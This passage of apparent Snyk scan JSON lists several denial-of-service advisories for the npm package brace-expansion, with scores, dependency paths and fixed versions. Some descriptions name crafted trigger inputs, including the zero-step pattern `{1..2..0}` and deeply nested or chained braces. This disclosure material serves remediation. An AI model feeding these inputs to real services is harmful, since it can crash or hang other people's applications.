"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"npm-profile@11.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-profile@12.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"npm-profile@11.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-profile@12.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"npm-profile@11.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-profile@12.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"npm-profile@11.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-profile@12.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"npm-profile@11.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-profile@12.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
